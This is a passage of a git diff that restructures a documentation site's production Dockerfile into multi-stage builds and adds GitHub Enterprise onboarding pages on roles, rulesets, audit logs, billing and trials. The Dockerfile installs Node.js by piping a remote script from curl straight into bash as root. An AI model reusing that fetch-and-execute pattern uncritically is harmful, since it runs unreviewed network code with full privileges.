diff --git a/.dockerignore b/.dockerignore index 0fabbd3418ab..213309047bac 100644 --- a/.dockerignore +++ b/.dockerignore @@ -8,5 +8,4 @@ node_modules/ tests/ # Folder is cloned during the preview + prod workflows, the assets are merged into other locations for use before the build docs-early-access/ -# During the preview deploy untrusted user code may be cloned into this directory -user-code/ +README.md diff --git a/.gitignore b/.gitignore index 0e177c3f5a39..195648462472 100644 --- a/.gitignore +++ b/.gitignore @@ -27,9 +27,6 @@ broken_links.md # still have these files on their disk. lib/redirects/.redirects-cache*.json -# During the preview deploy untrusted user code may be cloned into this directory -# We ignore it from git to keep things deterministic -user-code/ # Logs from scripts */logs/ diff --git a/Dockerfile b/Dockerfile index b228d90113b2..72ff2924feb6 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,44 +1,46 @@ # This Dockerfile is used solely for production deployments to Moda -# For staging deployments, see src/deployments/staging/Dockerfile # For building this file locally, see src/deployments/production/README.md +# Environment variables are set in the Moda configuration: +# config/moda/configuration/*/env.yaml -# -------------------------------------------------------------------------------- -# BASE IMAGE -# -------------------------------------------------------------------------------- +# --------------------------------------------------------------- +# BASE STAGE: Install linux dependencies and set up the node user +# --------------------------------------------------------------- # To update the sha: # https://github.com/github/gh-base-image/pkgs/container/gh-base-image%2Fgh-base-noble FROM ghcr.io/github/gh-base-image/gh-base-noble:20250131-172559-g0fd5a2edc AS base +# Install curl for Node install and determining the early access branch # Install git for cloning docs-early-access & translations repos -# Install curl for determining the early access branch -RUN apt-get -qq update && apt-get -qq install --no-install-recommends git curl - # Install Node.js latest LTS # https://github.com/nodejs/release#release-schedule # Ubuntu's apt-get install nodejs is _very_ outdated -RUN curl -sL https://deb.nodesource.com/setup_22.x | bash - -RUN apt-get install -y nodejs -RUN node --version - -# This directory is owned by the node user -RUN useradd -ms /bin/bash node -ARG APP_HOME=/home/node/app -RUN mkdir -p $APP_HOME && chown -R node:node $APP_HOME +# Must run as root +RUN apt-get -qq update && apt-get -qq install --no-install-recommends curl git \ + && curl -sL https://deb.nodesource.com/setup_22.x | bash - \ + && apt-get install -y nodejs \ + && node --version + +# Create the node user and home directory +ARG APP_HOME="/home/node/app" # Define in base so all child stages inherit it +RUN useradd -ms /bin/bash node \ + && mkdir -p $APP_HOME && chown -R node:node $APP_HOME + +# ----------------------------------------------------------------- +# CLONES STAGE: Clone docs-internal, early-access, and translations +# ----------------------------------------------------------------- +FROM base AS clones +USER node:node WORKDIR $APP_HOME -# Switch to root to ensure we have permissions to copy, chmod, and install -USER root - -# Copy in build scripts -COPY src/deployments/production/build-scripts/*.sh ./build-scripts/ - -# Make scripts executable -RUN chmod +x build-scripts/*.sh - # We need to copy over content that will be merged with early-access -COPY content ./content -COPY assets ./assets -COPY data ./data +COPY --chown=node:node content content/ +COPY --chown=node:node assets assets/ +COPY --chown=node:node data data/ + +# Copy in build scripts and make them executable +COPY --chown=node:node --chmod=+x \ + src/deployments/production/build-scripts/*.sh build-scripts/ # Use the mounted --secret to: # - 1. Fetch the docs-internal repo @@ -46,111 +48,77 @@ COPY data ./data # - 3. Fetch each translations repo to the repo/translations directory # We use --mount-type=secret to avoid the secret being copied into the image layers for security # The secret passed via --secret can only be used in this RUN command -RUN --mount=type=secret,id=DOCS_BOT_PAT_READPUBLICKEY \ +RUN --mount=type=secret,id=DOCS_BOT_PAT_READPUBLICKEY,mode=0444 \ # We don't cache because Docker can't know if we need to fetch new content from remote repos echo "Don't cache this step by printing date: $(date)" && \ . ./build-scripts/fetch-repos.sh -# Give node user access to the copied content since we cloned as root -RUN chown -R node:node $APP_HOME/content -RUN chown -R node:node $APP_HOME/assets -RUN chown -R node:node $APP_HOME/data -# Give node user access to translations repos -RUN chown -R node:node $APP_HOME/translations - -# Change back to node to make sure we don't run anything as the root user -USER node - -# --------------- -# ALL DEPS Image -# --------------- -FROM base AS all_deps - -ARG APP_HOME=/home/node/app -USER node +# ----------------------------------------- +# DEPENDENCIES STAGE: Install node packages +# ----------------------------------------- +FROM base AS dependencies +USER node:node WORKDIR $APP_HOME # Copy what is needed to run npm ci COPY --chown=node:node package.json package-lock.json ./ -RUN npm ci --no-optional --registry https://registry.npmjs.org/ +RUN npm ci --omit=optional --registry https://registry.npmjs.org/ -# --------------- -# BUILDER Image -# --------------- -FROM all_deps AS builder - -ARG APP_HOME=/home/node/app -USER node +# ----------------------------------------- +# BUILD STAGE: Prepare for production stage +# ----------------------------------------- +FROM base AS build +USER node:node WORKDIR $APP_HOME -# Copy what is needed to: -# 1. Build the app -# 2. run warmup-remotejson script -# 3. run precompute-pageinfo script -# Dependencies -COPY --chown=node:node --from=all_deps $APP_HOME/node_modules $APP_HOME/node_modules -# Content with merged early-access content -COPY --chown=node:node --from=base $APP_HOME/data ./data -COPY --chown=node:node --from=base $APP_HOME/assets ./assets -COPY --chown=node:node --from=base $APP_HOME/content ./content # Source code -COPY --chown=node:node --from=all_deps $APP_HOME/package.json ./ -COPY src ./src -COPY next.config.js ./ -COPY tsconfig.json ./ - -# 1. Build -RUN npm run build - -# 2. Warm up the remotejson cache -RUN npm run warmup-remotejson - -# 3. Precompute the pageinfo cache -RUN npm run precompute-pageinfo -- --max-versions 2 - -# Prune deps for prod image -RUN npm prune --production - -# -------------------------------------------------------------------------------- -# PRODUCTION IMAGE -# -------------------------------------------------------------------------------- +COPY --chown=node:node src src/ +COPY --chown=node:node package.json ./ +COPY --chown=node:node next.config.js ./ +COPY --chown=node:node tsconfig.json ./ + +# From the clones stage +COPY --chown=node:node --from=clones $APP_HOME/data data/ +COPY --chown=node:node --from=clones $APP_HOME/assets assets/ +COPY --chown=node:node --from=clones $APP_HOME/content content/ +COPY --chown=node:node --from=clones $APP_HOME/translations translations/ + +# From the dependencies stage +COPY --chown=node:node --from=dependencies $APP_HOME/node_modules node_modules/ + +# Generate build files +RUN npm run build \ + && npm run warmup-remotejson \ + && npm run precompute-pageinfo -- --max-versions 2 \ + && npm prune --production + +# ------------------------------------------------- +# PRODUCTION STAGE: What will run on the containers +# ------------------------------------------------- FROM base AS production - -ARG APP_HOME=/home/node/app -USER node +USER node:node WORKDIR $APP_HOME -# Copy the content with merged early-access content -COPY --chown=node:node --from=base $APP_HOME/data ./data -COPY --chown=node:node --from=base $APP_HOME/assets ./assets -COPY --chown=node:node --from=base $APP_HOME/content ./content - -# Include cloned translations -COPY --chown=node:node --from=base $APP_HOME/translations ./translations - -# Copy prod dependencies -COPY --chown=node:node --from=builder $APP_HOME/package.json ./ -COPY --chown=node:node --from=builder $APP_HOME/node_modules $APP_HOME/node_modules - -# Copy built artifacts needed at runtime for the server -COPY --chown=node:node --from=builder $APP_HOME/.next $APP_HOME/.next +# Source code +COPY --chown=node:node src src/ +COPY --chown=node:node package.json ./ +COPY --chown=node:node next.config.js ./ +COPY --chown=node:node tsconfig.json ./ -# Copy cache files generated during build scripts -COPY --chown=node:node --from=builder $APP_HOME/.remotejson-cache ./.remotejson-cache -COPY --chown=node:node --from=builder $APP_HOME/.pageinfo-cache.json.br* ./.pageinfo-cache.json.br +# From clones stage +COPY --chown=node:node --from=clones $APP_HOME/data data/ +COPY --chown=node:node --from=clones $APP_HOME/assets assets/ +COPY --chown=node:node --from=clones $APP_HOME/content content/ +COPY --chown=node:node --from=clones $APP_HOME/translations translations/ -# Copy only what's needed to run the server -COPY --chown=node:node --from=builder $APP_HOME/src ./src -COPY --chown=node:node --from=builder $APP_HOME/.remotejson-cache ./.remotejson-cache -COPY --chown=node:node --from=builder $APP_HOME/.pageinfo-cache.json.br* ./.pageinfo-cache.json.br -COPY --chown=node:node --from=builder $APP_HOME/next.config.js ./ -COPY --chown=node:node --from=builder $APP_HOME/tsconfig.json ./ +# From dependencies stage (*modified in build stage) +COPY --chown=node:node --from=build $APP_HOME/node_modules node_modules/ -# - - - -# Environment variables are set in the Moda -# configuration: config/moda/configuration/*/env.yaml -# - - - +# From build stage +COPY --chown=node:node --from=build $APP_HOME/.next .next/ +COPY --chown=node:node --from=build $APP_HOME/.remotejson-cache ./ +COPY --chown=node:node --from=build $APP_HOME/.pageinfo-cache.json.br* ./ # This makes it possible to set `--build-arg BUILD_SHA=abc123` # and it then becomes available as an environment variable in the docker run. @@ -158,5 +126,6 @@ ARG BUILD_SHA ENV BUILD_SHA=$BUILD_SHA # Entrypoint to start the server -# Note: Currently we have to use tsx because we have a mix of `.ts` and `.js` files with multiple import patterns +# Note: Currently we have to use tsx because +# we have a mix of `.ts` and `.js` files with multiple import patterns CMD ["node_modules/.bin/tsx", "src/frame/server.ts"] diff --git a/content/enterprise-onboarding/feature-enhancements/about-access-permissions-on-github.md b/content/enterprise-onboarding/feature-enhancements/about-access-permissions-on-github.md new file mode 100644 index 000000000000..5d4d39eff790 --- /dev/null +++ b/content/enterprise-onboarding/feature-enhancements/about-access-permissions-on-github.md @@ -0,0 +1,39 @@ +--- +title: About access permissions on GitHub +intro: 'Learn about roles, and how you can control who has access to your enterprise''s resources and the level of access each person has.' +versions: + ghec: '*' +type: overview +topics: + - Enterprise +shortTitle: Access permissions +--- + +## About access permissions on {% data variables.product.github %} + +{% data reusables.organizations.about-roles %} + +Roles work differently for different types of accounts. For more information about accounts, see [AUTOTITLE](/get-started/learning-about-github/types-of-github-accounts). + +## Personal accounts + +A repository owned by a personal account has two permission levels: the **repository owner** and **collaborators**. See [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/permission-levels-for-a-personal-account-repository). + +## Organization accounts + +Organization members can have **owner**, **billing manager**, or **member** roles. Owners have complete administrative access to your organization, while billing managers can manage billing settings. Member is the default role for everyone else. You can manage access permissions for multiple members at a time with teams. For more information, see: +* [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization) +* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization) +* [AUTOTITLE](/organizations/organizing-members-into-teams/about-teams) + +## Enterprise accounts + +_Enterprise owners_ have ultimate power over the enterprise account and can take every action in the enterprise account. _Billing managers_ can manage your enterprise account's billing settings. Members and outside collaborators of organizations owned by your enterprise account are automatically members of the enterprise account, although they have no access to the enterprise account itself or its settings. + +Enterprise owners cannot access organization content or repositories unless they are explicitly granted a role in the organization. However, enterprise owners can manage enterprise settings and policies that impact an organization in the enterprise. For more information, see [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/roles-in-an-enterprise). + +If an enterprise uses {% data variables.product.prodname_emus %}, members are provisioned as new personal accounts on {% data variables.product.github %} and are fully managed by the identity provider. The {% data variables.enterprise.prodname_managed_users %} have read-only access to repositories that are not a part of their enterprise and cannot interact with users that are not also members of the enterprise. Within the organizations owned by the enterprise, the {% data variables.enterprise.prodname_managed_users %} can be granted the same granular access levels available for regular organizations. For more information, see [AUTOTITLE](/admin/identity-and-access-management/understanding-iam-for-enterprises/about-enterprise-managed-users). + +## Next steps + +Next, learn about how you can use rulesets to manage how people interact with your enterprise's repositories. See [AUTOTITLE](/enterprise-onboarding/feature-enhancements/about-rulesets). diff --git a/content/enterprise-onboarding/feature-enhancements/about-code-security-for-your-enterprise.md b/content/enterprise-onboarding/feature-enhancements/about-code-security-for-your-enterprise.md new file mode 100644 index 000000000000..fb92de6095ac --- /dev/null +++ b/content/enterprise-onboarding/feature-enhancements/about-code-security-for-your-enterprise.md @@ -0,0 +1,19 @@ +--- +title: 'About security for your enterprise' +shortTitle: 'About enterprise security' +intro: 'Learn about the security features available to your enterprise.' +versions: + ghec: '*' +allowTitleToDifferFromFilename: true +type: overview +topics: + - Enterprise + - Set up + - Security +--- + +{% data variables.product.prodname_dotcom %} has many features that help you improve and maintain the quality of your code. Some of these are included in all plans, such as dependency graph and {% data variables.product.prodname_dependabot_alerts %}. Other security features require a {% data variables.product.prodname_GH_advanced_security %} (GHAS) license to run on repositories apart from public repositories on {% data variables.product.prodname_dotcom_the_website %}. + +To learn about the security features available to your enterprise, see [AUTOTITLE](/code-security). + +To learn about the extra security features available with a {% data variables.product.prodname_GH_advanced_security %} license, see [AUTOTITLE](/get-started/learning-about-github/about-github-advanced-security). diff --git a/content/enterprise-onboarding/feature-enhancements/about-rulesets.md b/content/enterprise-onboarding/feature-enhancements/about-rulesets.md new file mode 100644 index 000000000000..9dd63b09c803 --- /dev/null +++ b/content/enterprise-onboarding/feature-enhancements/about-rulesets.md @@ -0,0 +1,63 @@ +--- +title: About rulesets +intro: 'Learn how you can use rulesets to control how people interact with pushes, branches, and tags in repositories.' +versions: + ghec: '*' +type: overview +topics: + - Enterprise +shortTitle: Rulesets +--- + +## About rulesets + +A ruleset is a named list of rules that applies to a repository, or to multiple repositories in an organization. You can have up to 75 rulesets per repository, and 75 organization-wide rulesets. + +When you create a ruleset, you can allow certain users to bypass the rules in the ruleset. This can be users with a certain role, such as repository administrator, or it can be specific teams or {% data variables.product.prodname_github_apps %}. For more information about granting bypass permissions, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/creating-rulesets-for-a-repository#granting-bypass-permissions-for-your-ruleset). + +For organizations on the {% data variables.product.prodname_enterprise %} plan, you can set up rulesets at the enterprise or organization level to target multiple repositories in your organization. See [AUTOTITLE](/organizations/managing-organization-settings/managing-rulesets-for-repositories-in-your-organization). + +You can use rulesets to target branches or tags in a repository or to block pushes to a repository and the repository's entire fork network. + +{% data reusables.repositories.about-push-rule-delegated-bypass %} + +### Branch and tag rulesets + +You can create rulesets to control how people can interact with selected branches and tags in a repository. You can control things like who can push commits to a certain branch and how the commits must be formatted, or who can delete or rename a tag. For example, you could set up a ruleset for your repository's `feature` branch that requires signed commits and blocks force pushes for all users except repository administrators. + +For each ruleset you create, you specify which branches or tags in your repository, or which repositories in your organization, the ruleset applies to. You can use `fnmatch` syntax to define a pattern to target specific branches, tags, and repositories. For example, you could use the pattern `releases/**/*` to target all branches in your repository whose name starts with the string `releases/`. For more information on `fnmatch` syntax, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/creating-rulesets-for-a-repository#using-fnmatch-syntax). + +### Push rulesets + +{% data reusables.repositories.push-rulesets-overview %} + +## About rulesets and protected branches + +Rulesets work alongside any branch protection rules in a repository. Many of the rules you can define in rulesets are similar to protection rules, and you can start using rulesets without overriding any of your existing protection rules. + +Rulesets have the following advantages over branch protection rules. + +* Unlike protection rules, multiple rulesets can apply at the same time, so you can be confident that every rule targeting a branch in your repository will be evaluated when someone interacts with that branch. See [About rule layering](#about-rule-layering). +* Rulesets have statuses, so you can easily manage which rulesets are active in a repository without needing to delete rulesets. +* Anyone with read access to a repository can view the active rulesets for the repository. This means a developer can understand why they have hit a rule, or an auditor can check the security constraints for the repository, without requiring admin access to the repository. +* You can create additional rules to control the metadata of commits entering a repository, such as the commit message and the author's email address. See [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/available-rules-for-rulesets#metadata-restrictions)." + +## Using ruleset enforcement statuses + +{% data reusables.repositories.rulesets-about-enforcement-statuses %} + +## About rule layering + +A ruleset does not have a priority. Instead, if multiple rulesets target the same branch or tag in a repository, the rules in each of these rulesets are aggregated. If the same rule is defined in different ways across the aggregated rulesets, the most restrictive version of the rule applies. As well as layering with each other, rulesets also layer with protection rules targeting the same branch or tag. + +For example, consider the following situation for the `my-feature` branch of the `octo-org/octo-repo` repository. + +* An administrator of the repository has set up a ruleset targeting the `my-feature` branch. This ruleset requires signed commits, and three reviews on pull requests before they can be merged. +* An existing branch protection rule for the `my-feature` branch requires a linear commit history, and two reviews on pull requests before they can be merged. +* An administrator of the `octo-org` organization has also set up a ruleset targeting the `my-feature` branch of the `octo-repo` repository. The ruleset blocks force pushes, and requires one review on pull requests before they can be merged. + +The rules from each source are aggregated, and all rules apply. Where multiple different versions of the same rule exist, the result is that the most restrictive version of the rule applies. Therefore, the `my-feature` branch requires signed commits and a linear commit history, force pushes are blocked, and pull requests targeting the branch will require three reviews before they can be merged. + +## Next steps + +Next, learn how to communicate important information with members of your enterprise using READMEs. See [AUTOTITLE](/enterprise-onboarding/feature-enhancements/create-a-readme-for-your-enterprise). diff --git a/content/enterprise-onboarding/feature-enhancements/about-the-audit-log-for-your-enterprise.md b/content/enterprise-onboarding/feature-enhancements/about-the-audit-log-for-your-enterprise.md new file mode 100644 index 000000000000..e8d762b22fb0 --- /dev/null +++ b/content/enterprise-onboarding/feature-enhancements/about-the-audit-log-for-your-enterprise.md @@ -0,0 +1,36 @@ +--- +title: About the audit log for your enterprise +intro: 'Learn how to use the audit log to monitor activity in your enterprise.' +versions: + ghec: '*' +type: overview +topics: + - Enterprise +shortTitle: Audit log +--- + +## About audit logs + +{% data reusables.audit_log.audit-log-search-list-info-about-action %} + +{% data reusables.audit_log.retention-periods %} + +In addition to viewing your audit log, you can monitor activity in your enterprise in other ways, such as managing global webhooks. Webhooks provide a way for GitHub to notify your server when specific events occur for a repository, organization, or enterprise. Compared to the API or searching the audit log, webhooks can be more efficient if you just want to learn and possibly log when certain events occur on your enterprise, organization, or repository. See [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/exploring-user-activity-in-your-enterprise/managing-global-webhooks). + +You can also use the audit log, and other tools, to monitor the actions taken in response to security alerts. For more information, see [AUTOTITLE](/code-security/getting-started/auditing-security-alerts). + +## Using your audit logs + +As an enterprise owner, you can interact with the audit log data for your enterprise in several ways: +* You can view the audit log for your enterprise. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise). +* You can search the audit log for specific events and export audit log data. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise) and [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise). +* You can identify all events that were performed by a specific access token. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token). +* You can display the IP address associated with events in the audit log. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/displaying-ip-addresses-in-the-audit-log-for-your-enterprise). +* You can stream audit and Git events data from {% data variables.product.prodname_dotcom %} to an external data management system. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise). +* You can use the Audit log API to view actions performed in your enterprise. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise). + +For a full list of audit log actions that may appear in your enterprise audit log, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise). + +## Next steps + +Next, learn how to control who has access to your enterprise's resources using roles. See [AUTOTITLE](/enterprise-onboarding/feature-enhancements/about-access-permissions-on-github). diff --git a/content/enterprise-onboarding/feature-enhancements/create-a-readme-for-your-enterprise.md b/content/enterprise-onboarding/feature-enhancements/create-a-readme-for-your-enterprise.md new file mode 100644 index 000000000000..34ac9900be45 --- /dev/null +++ b/content/enterprise-onboarding/feature-enhancements/create-a-readme-for-your-enterprise.md @@ -0,0 +1,33 @@ +--- +title: Create a README for your enterprise +intro: 'You can create a README to communicate important information and resources with members in your enterprise.' +versions: + ghec: '*' +type: how_to +topics: + - Enterprise +shortTitle: Create a README +--- + +## About READMEs for enterprises + +{% data reusables.enterprise.about-readmes %} + +The README is displayed on the enterprise's "Overview" page, which is the landing page you see when you navigate to the enterprise. This page is only visible to members of the enterprise. + +You can also create READMEs for organizations in your enterprise, visible either publicly or only to members. For more information, see [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile). + +## Creating a README for an enterprise + +{% data reusables.enterprise-accounts.access-enterprise %} +1. On the "Overview" page, click **Create README**. If a README is already present on the page, click **Edit**. +1. Write the content for your README. You can use Markdown to format the content, such as adding headings, images, and lists. For more information, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax). + + >[!NOTE] You can only link to publicly hosted images in your README. You cannot upload an image to your README, or link to an image from a private repository. + +1. Click **Save**. + +## Further reading + +* [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes) +* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme) diff --git a/content/enterprise-onboarding/feature-enhancements/index.md b/content/enterprise-onboarding/feature-enhancements/index.md new file mode 100644 index 000000000000..e37af5a99cee --- /dev/null +++ b/content/enterprise-onboarding/feature-enhancements/index.md @@ -0,0 +1,15 @@ +--- +title: Feature enhancements +intro: 'Take advantage of features available in {% data variables.product.prodname_ghe_cloud %}.' +versions: + ghec: '*' +topics: + - Enterprise +shortTitle: Feature enhancements +children: + - /about-the-audit-log-for-your-enterprise + - /about-access-permissions-on-github + - /about-rulesets + - /create-a-readme-for-your-enterprise + - /about-code-security-for-your-enterprise +--- diff --git a/content/enterprise-onboarding/getting-started-with-your-enterprise/about-enterprise-billing.md b/content/enterprise-onboarding/getting-started-with-your-enterprise/about-enterprise-billing.md new file mode 100644 index 000000000000..225e3d0be6c5 --- /dev/null +++ b/content/enterprise-onboarding/getting-started-with-your-enterprise/about-enterprise-billing.md @@ -0,0 +1,44 @@ +--- +title: About enterprise billing +intro: 'Learn about billing for {% data variables.product.prodname_ghe_cloud %}.' +versions: + ghec: '*' +type: overview +topics: + - Accounts + - Enterprise +shortTitle: Enterprise billing +--- + +## About billing for your enterprise + +With {% data variables.product.prodname_ghe_cloud %}, your enterprise account is the central point for all billing within your enterprise, including the organizations that your enterprise owns. Users with the **enterprise owner** or **billing manager** role can view and manage billing settings for the enterprise. + +To pay {% data variables.product.company_short %}, you will add a payment method to your enterprise account. This can be a credit card, PayPal, or a Microsoft Azure subscription. + +If you created your enterprise account with help from {% data variables.product.company_short %}'s Sales team, you may have agreed to pay by invoice. Each invoice includes a single charge for all of your paid {% data variables.product.prodname_ghe_cloud %} services and any {% data variables.product.prodname_ghe_server %} instances. + +As a new enterprise, you will be on {% data variables.product.company_short %}'s new billing platform, which allows you to estimate spending, create cost centers to track expenses across business units, and pay flexibly for the licenses you need. + +## What is included in my bill? + +Each month, you will be billed for: + +* The number of {% data variables.product.prodname_enterprise %} licenses you use, determined by the number of unique users in your enterprise +* Any usage of features like {% data variables.product.prodname_actions %} or {% data variables.product.prodname_github_codespaces %}, beyond the allowances included in your {% data variables.product.prodname_enterprise %} plan +* Any extra features you purchase, such as {% data variables.product.prodname_copilot %} or {% data variables.product.prodname_GH_advanced_security %} licenses + +For prices and monthly allowances, see {% data variables.product.pricing_link %}. + +## Adding a payment method + +To pay for licenses and services, you can use a credit card, PayPal, or a Microsoft Azure subscription. For instructions, see [AUTOTITLE](/billing/using-the-new-billing-platform/managing-your-payment-and-billing-information). + +## Next steps + +* To learn more about options for managing billing, see [AUTOTITLE](/billing/using-the-new-billing-platform/about-the-new-billing-platform). +* To get started with migrating data to your enterprise, see [AUTOTITLE](/enterprise-onboarding/getting-started-with-your-enterprise/about-migrating-to-github-enterprise-cloud). + +## Next steps + +Next, learn about migrating your current solution to {% data variables.product.prodname_ghe_cloud %}. See [AUTOTITLE](/enterprise-onboarding/getting-started-with-your-enterprise/about-migrating-to-github-enterprise-cloud). diff --git a/content/enterprise-onboarding/getting-started-with-your-enterprise/about-migrating-to-github-enterprise-cloud.md b/content/enterprise-onboarding/getting-started-with-your-enterprise/about-migrating-to-github-enterprise-cloud.md new file mode 100644 index 000000000000..594ef91a82d6 --- /dev/null +++ b/content/enterprise-onboarding/getting-started-with-your-enterprise/about-migrating-to-github-enterprise-cloud.md @@ -0,0 +1,41 @@ +--- +title: About migrating to GitHub Enterprise Cloud +intro: 'Learn about migrating your current solution into {% data variables.product.prodname_ghe_cloud %}.' +versions: + ghec: '*' +type: overview +topics: + - Accounts + - Enterprise +shortTitle: Migrating to {% data variables.product.prodname_ghe_cloud %} +--- + +{% data reusables.migrations.about-migrations %} + +{% data variables.product.company_short %} provides a variety of different tools to support these migrations. Different tools support different migration pathways and provide different levels of migration fidelity. To determine the best tool for your migration, understand what you can migrate, and learn how to make your migration successful, see [AUTOTITLE](/migrations/overview/planning-your-migration-to-github) and [Migrations to GHE.com](/migrations/overview/migration-paths-to-github#migrations-to-ghecom). + +The steps you will take to migrate to {% data variables.product.prodname_ghe_cloud %} include: + +1. Define the origin (source) for your migration. Your destination is {% data variables.product.prodname_ghe_cloud %}. +1. Understand what data you will migrate, and build a basic inventory. +1. Evaluate the size of your migration data, and recognize if you need to first move any repositories to Git. +1. Decide on your migration type, based on your organization's needs and the tools available to you. +1. Choose if you will perform the migration yourself (a "self-serve migration"), or if you will work with {% data variables.product.company_short %}'s Expert Services team or a {% data variables.product.company_short %} Partner (an "expert-led migration"). + +In a later stage of setting up your trial, when you're ready to create your organization and teams, you will take additional steps to finish your migration, including: + +1. Design your organization structure for the migration to {% data variables.product.prodname_ghe_cloud %}. +1. Plan a test of your migration, including performing a dry run migration of all your repositories. +1. Establish your pre-migration and post-migration steps, and create a migration plan. +1. Prepare your organization and schedule for the migration. +1. Perform the migration, and execute any post-migration tasks. + +## About enterprise migrations to {% data variables.product.prodname_actions %} + +To migrate your enterprise to {% data variables.product.prodname_actions %} from an existing system, you can plan the migration, complete the migration, and retire existing systems. To learn how to migrate your workflows to {% data variables.product.prodname_actions %}, see [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions). + +If you're planning to switch to {% data variables.product.prodname_actions %}, we do not recommend doing so at the same time that you migrate your repositories. Instead, wait until a later date, and perform your CI/CD migration as a separate step. This makes the migration process more manageable. When you're ready to migrate, see [AUTOTITLE](/actions/migrating-to-github-actions). + +## Next steps + +Next, learn about [AUTOTITLE](/enterprise-onboarding/getting-started-with-your-enterprise/securing-your-enterprise-with-managed-users) and [AUTOTITLE](/enterprise-onboarding/getting-started-with-your-enterprise/securing-enterprise-resources-with-single-sign-on). diff --git a/content/enterprise-onboarding/getting-started-with-your-enterprise/ending-a-trial-of-github-enterprise.md b/content/enterprise-onboarding/getting-started-with-your-enterprise/ending-a-trial-of-github-enterprise.md new file mode 100644 index 000000000000..33dbbe461eb5 --- /dev/null +++ b/content/enterprise-onboarding/getting-started-with-your-enterprise/ending-a-trial-of-github-enterprise.md @@ -0,0 +1,50 @@ +--- +title: Ending a trial of GitHub Enterprise +intro: 'Learn how to end your trial by purchasing {% data variables.product.prodname_ghe_cloud %} or by canceling your trial.' +versions: + ghec: '*' +type: how_to +topics: + - Accounts + - Enterprise +shortTitle: Ending an Enterprise trial +--- + +You can end your trial at any time by purchasing {% data variables.product.prodname_enterprise %} or canceling the trial. Otherwise, after {% data reusables.enterprise.ghec-trial-length %} days, your trial will expire. + +{% data variables.product.prodname_enterprise %} trial accounts are automatically deleted 90 days after the trial period ends if the account has not been converted to a paid account. + +If you **purchase {% data variables.product.prodname_enterprise %}**, you can use the full {% data variables.product.prodname_ghe_cloud %} feature set and billing capabilities. See [AUTOTITLE](/enterprise-onboarding/getting-started-with-your-enterprise/about-enterprise-billing). + +If you **cancel your trial**: + +* Organizations that you transferred into the enterprise are removed and reverted to their previous plans and settings. +* Enterprise owners and members lose access to the enterprise account and any organizations that you created during the trial. + +If your **trial expires**: + +* Organizations that you transferred into the enterprise are removed and reverted to their previous plans and settings. +* Enterprise owners and members retain access to the enterprise account and organizations created during the trial in a downgraded state, allowing you to either upgrade to {% data variables.product.prodname_enterprise %} or move assets elsewhere. +* You can delete an expired trial to remove people's access to the enterprise and organizations created during the trial. + +For more information about the effects of downgrading an organization, see [AUTOTITLE](/enterprise-cloud@latest/billing/managing-the-plan-for-your-github-account/downgrading-your-accounts-plan#downgrading-your-organizations-plan). + +## Ending your trial + +You can end a trial by purchasing {% data variables.product.prodname_enterprise %} or by canceling the trial. If a trial has expired, you can delete the trial. + +### Purchasing {% data variables.product.prodname_enterprise %} + +You can purchase {% data variables.product.prodname_enterprise %} at any time during the trial. + +{% data reusables.enterprise-accounts.access-enterprise %} +1. To end the trial period and purchase {% data variables.product.prodname_enterprise %}, click **Activate Enterprise** in the blue banner at the top of the page. + +### Canceling or deleting a trial + +You can cancel a trial at any time. Once the trial has expired, you can delete the trial. + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +1. Under **{% octicon "gear" aria-hidden="true" %} Settings**, click **Profile**. +1. At the bottom of the page, in the "Danger zone" section, click **Cancel trial** or **Delete trial**. diff --git a/content/enterprise-onboarding/getting-started-with-your-enterprise/index.md b/content/enterprise-onboarding/getting-started-with-your-enterprise/index.md new file mode 100644 index 000000000000..fab8d321d553 --- /dev/null +++ b/content/enterprise-onboarding/getting-started-with-your-enterprise/index.md @@ -0,0 +1,22 @@ +--- +title: Getting started with your enterprise +#redirect_from: +intro: 'Learn about starting a trial of {% data variables.product.prodname_enterprise %} and getting set up. Be introduced to enterprise billing and migrations.' +versions: + ghec: '*' + ghes: '*' +topics: + - Accounts + - Enterprise + - Set up +shortTitle: Starting with GitHub Enterprise +children: + - /setting-up-a-trial-of-github-enterprise + - /ending-a-trial-of-github-enterprise + - /about-enterprise-billing + - /about-migrating-to-github-enterprise-cloud + - /securing-your-enterprise-with-managed-users + - /securing-enterprise-resources-with-single-sign-on +--- + +Visit [{% data variables.product.prodname_enterprise %}](https://github.com/enterprise) to discover how our AI-powered developer platform can benefit you, and to 